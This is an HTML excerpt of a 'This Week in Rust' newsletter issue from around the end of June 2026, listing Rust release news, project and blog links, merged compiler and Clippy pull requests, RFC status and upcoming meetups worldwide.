Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/">Announcing Rust 1.96.1 | Rust Blog</a></li>
<li><a href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/">The many journeys of learning Rust | Rust Blog</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#foundation">Foundation</a></h5>
<ul>
<li><a href="https://rustfoundation.org/media/rust-foundation-trusted-training-program-launches-giving-learners-a-mark-of-quality-to-trust/">Rust Foundation Trusted Training Program Launches, Giving Learners a Mark of Quality to Trust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://scientificcomputing.rs/monthly/2026-06">Scientific Computing in Rust #19 (June 2026)</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://slint.dev/blog/slint-1.17-released">Slint 1.17 Released</a></li>
<li><a href="https://blog.antoyo.xyz/rustc_codegen_gcc-progress-report-42">rustc_codegen_gcc: Progress Report #42</a></li>
<li><a href="https://hovinen.me/announcements/2026/06/24/introducing-test-that.html">Introducing Test That!</a></li>
<li><a href="https://hovinen.me/announcements/2026/06/24/introducing-test-that.html">Introducing Test That!: A rich test assertion library for Rust from the original author of GoogleTest Rust</a></li>
<li><a href="https://github.com/shihuili1218/rssh/blob/main/docs/article_arch_en.md">Inside RSSH: one Rust crate, three binaries, and the Tauri lessons along the way</a></li>
<li><a href="https://github.com/Aleixenandros/Rustty/releases/tag/v1.38.0">Rustty 1.38 – accessibility &amp; keyboard nav</a></li>
<li><a href="https://www.willsearch.com.br/blog/2026/06/25/guardiandb-0-17-0-secure-namespaces-iroh-1-0-and-the-arrival-of-the-odm/">GuardianDB 0.17.0: Secure namespaces, Iroh 1.0, and the arrival of the ODM</a></li>
<li><a href="https://dev.to/iam_suriyan_b9078a5b3a553/building-a-real-time-voice-agent-runtime-in-rust-no-gil-one-binary-2000-calls-a-box-12ko">Building a real-time voice-agent runtime in Rust: no GIL, one binary, 2,000 calls a box</a></li>
<li><a href="https://aimdb.dev/blog/aimdb-bring-your-own-connector">AimDB: Bring Your Own Connector</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.8.0">kache 0.8.0: zero-copy restores on Windows (ReFS)</a></li>
<li><a href="https://miskibin.github.io/warbell/">Warbell — a castle-defense action-RPG built with Bevy 0.19</a></li>
<li><a href="https://dev.to/gregorymc86/i-built-a-macos-ftp-client-entirely-in-rust-no-electron-no-webview-2a8i">I built a macOS FTP client entirely in Rust - no Electron, no webview</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://blog.yoshuawuyts.com/hoisting-expressions">Hoisting Expressions</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/06/25/rust-web-development-2026/">The Unglamorous Side of Rust Web Development</a></li>
<li><a href="https://dev.to/ernesto_arias_148b35bc25d/-how-i-found-out-52-of-my-knowledge-graph-was-duplicates-and-what-i-did-about-it-3coh">How I Found Out 52% of My Knowledge Graph Was Duplicates (and What I Did About It)</a></li>
<li><a href="https://jtjlehi.github.io/2026/06/25/novel-rust-error-handling.html">A Novel Approach to Rust Error Handling</a></li>
<li><a href="https://encore.dev/blog/redis-runtime">We put a Redis server inside our runtime</a></li>
<li><a href="https://kerkour.com/rust-high-performance-memory-fragmentation-allocations">High-performance Rust: Understanding and eliminating memory fragmentation</a></li>
<li><a href="https://kunobi.ninja/blog/kache-storage-worktrees">AI and worktrees are filling our disks: kache storage, measured</a></li>
<li><a href="https://dev.to/sicklefire/designing-a-cross-platform-terminal-memory-visualizer-in-rust-2365">Designing a cross-platform terminal memory visualizer in Rust</a></li>
<li><a href="https://pranitha.dev/posts/rust-and-memory-allocators">Your Rust Service Isn't Leaking — It Could Be the Allocator</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://medium.com/@vbasky/measure-dont-guess-building-viser-a-content-adaptive-video-encoding-optimizer-in-rust-7675edd6943a">Measure, Don't Guess: Building viser, a Content-Adaptive Video Encoding Optimizer in Rust</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-sql-and-sqlx-by-building-a-book-library-cli-in-rust/">Learn SQL and SQLx by Building a Book Library CLI in Rust</a></li>
<li>[series] <a href="https://aibodh.com/posts/async-rust-chapter-2-what-async-fn-compiles-into/">Reasoning About Async Rust with State Machines</a></li>
<li><a href="https://mainmatter.com/c-to-rust-migration-book/">The C to Rust Migration Book</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/pbkx/deconvolution">deconvolution</a>, a image deconvolution and restoration library.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1621">pbkx</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>
<p><a href="https://github.com/kmolan/multicalc-rust/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22">multicalc - good first issues</a></p>



<ul>
<li><a href="https://github.com/aimdb-dev/aimdb/issues/93">AimDB - Add minimal example: hello-single-latest</a></li>
<li><a href="https://github.com/aimdb-dev/aimdb/issues/109">AimDB - Wire <code>.transform()</code> and <code>.transform_join()</code> into stage profiling</a></li>
<li><a href="https://github.com/SzilvasiPeter/edid-info/issues/1">edid-info - Increase test coverage with real EDID data</a></li>
<li><a href="https://github.com/SzilvasiPeter/edid-info/issues/2">edid-info - Finalize CTA-861 extension implementation</a></li>
<li><a href="https://github.com/SzilvasiPeter/edid-info/issues/3">edid-info - Support additional EDID extension block types</a></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>426 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-23..2026-06-30">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157996">drop the full-crate AST walk in <code>check_unused</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158185">make <code>stable_crate_ids</code> reads lock-free after crate loading</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158239">rework lint pass running</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157271">simplify some <code>proc_macro</code> things</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158326">add <code>io::ErrorKind::TooManyOpenFiles</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153097">expand <code>OptionFlatten</code>'s iterator methods</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155625">move <code>std::io::Error</code> into <code>core</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158053">optimize network address parser</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17106">add <code>-Zhint-msrv</code> flag</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17237"><code>filter_map_next</code>: clean-up, overhaul suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17318"><code>chunks_exact_to_as_chunks</code>: Prevent syntactically invalid suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17317"><code>chunks_exact_to_as_chunks</code>: Use correct method name in message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17316"><code>chunks_exact_to_as_chunks</code>: Pick iter method depending on mut-ness</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17302"><code>non_ascii_literal</code>, <code>invisible_characters</code>: don't suggest a fix on raw strings</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17228">create a single <code>ConstEvalCtxt</code> in <code>expr_eagerness</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17299">detect new range types in <code>higher::Range</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17270">do not trigger <code>manual_option_zip</code> when map receiver is a lazy evaluated expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16746">enhance <code>needless_late_init</code> to cover grouped assignments</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17257">fix: <code>borrow_as_ptr</code> is triggered on generated code</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22466">add diagnostic for E0596</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22645">add fixes add '.await' for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22646">crash on lowering consts with associated types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22640">crash when hovering on anonymous consts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22582">only run <code>Drop::drop</code> when implemented</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22633">mark <code>inline_convert_while_ascii()</code> as <code>unsafe</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22115">switch out lsp-types for gen-lsp-types</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>Overall, the week was fairly neutral, with no meaningful shift on most benchmarks on any of our statistics.</p>
<p>Triage done by <strong>@simulacrum</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=8b6558a02b2774acfb25cf15e199467c37ba7490&amp;end=7dc2c162b9c197aaa76a6f9e7534569537830a01&amp;absolute=false&amp;stat=instructions%3Au">8b6558a0..7dc2c162</a></p>
<p>2 Regressions, 1 Improvement, 7 Mixed; 5 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/master/triage/2026/2026-06-29.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/143989">Tracking Issue for LocalKey/Cell::update</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/142312">Tracking Issue for <code>{str, [T], Path}::trim_prefix</code> and <code>{str, [T]}::trim_suffix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155697">Stabilize c-variadic function definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/69835">Tracking Issue for layout information behind pointers</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158523">Fix feature gate for <code>repr(simd)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154585">reat no_mangle_generic_items as hard error instead of lint warning</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158522">Lint against invalid POSIX symbol definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158302">Fix <code>overflowing_literals</code> lint with repeated negation</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158504">stabilize <code>extern "custom"</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158057">Don't escape U+FF9E and U+FF9F in <code>escape_debug_ext</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1007">Decouple <code>BackendRepr</code> from ABI alignment</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1005">MCP: Stabilization strategy for rustc parallel frontend</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2166">Fields must fit in the type, even for repr(Rust)</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3527">RFC: Associated const underscore</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3980">Add <code>extern "custom"</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/615">Opsem extension proposal: atomic volatile accesses</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3977">Method chain as item</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3980">Add <code>extern "custom"</code></a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-01 - 2026-07-29 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210366/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455932/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315211402/"><strong>Learning Game Development the Hard Way with Rust and Bevy</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345243/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-05 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095287/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-07 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060981/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-01 | Köln, DE | <a href="https://www.meetup.com/rust-cologne-bonn">Rust Cologne</a><ul>
<li><a href="https://www.meetup.com/rustcologne/events/315404678/"><strong>Rust in July: Vecs and Strings and Slices, Oh My!</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315200163/"><strong>Rust Manchester June Talks</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Oxford, UK | <a href="https://www.meetup.com/oxford-rust-meetup-group">Oxford ACCU/Rust Meetup.</a><ul>
<li><a href="https://www.meetup.com/oxford-rust-meetup-group/events/315409335/"><strong>Building a file system from scratch</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Edinburgh, UK | <a href="https://www.meetup.com/rust-edi">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/314941098/"><strong>Bevy, Bits, &amp; Cats (Rust July Talks)</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Enschede, NL | <a href="https://www.meetup.com/dutch-rust-meetup">Baseflow Tech Meetups</a><ul>
<li><a href="https://www.meetup.com/baseflow-tech-meetups/events/315099547/"><strong>AI Summit</strong></a></li>
</ul>
</li>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-02 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/315103359/"><strong>Git is easy?</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225861/"><strong>Boston University Rust Lunch, July 4</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
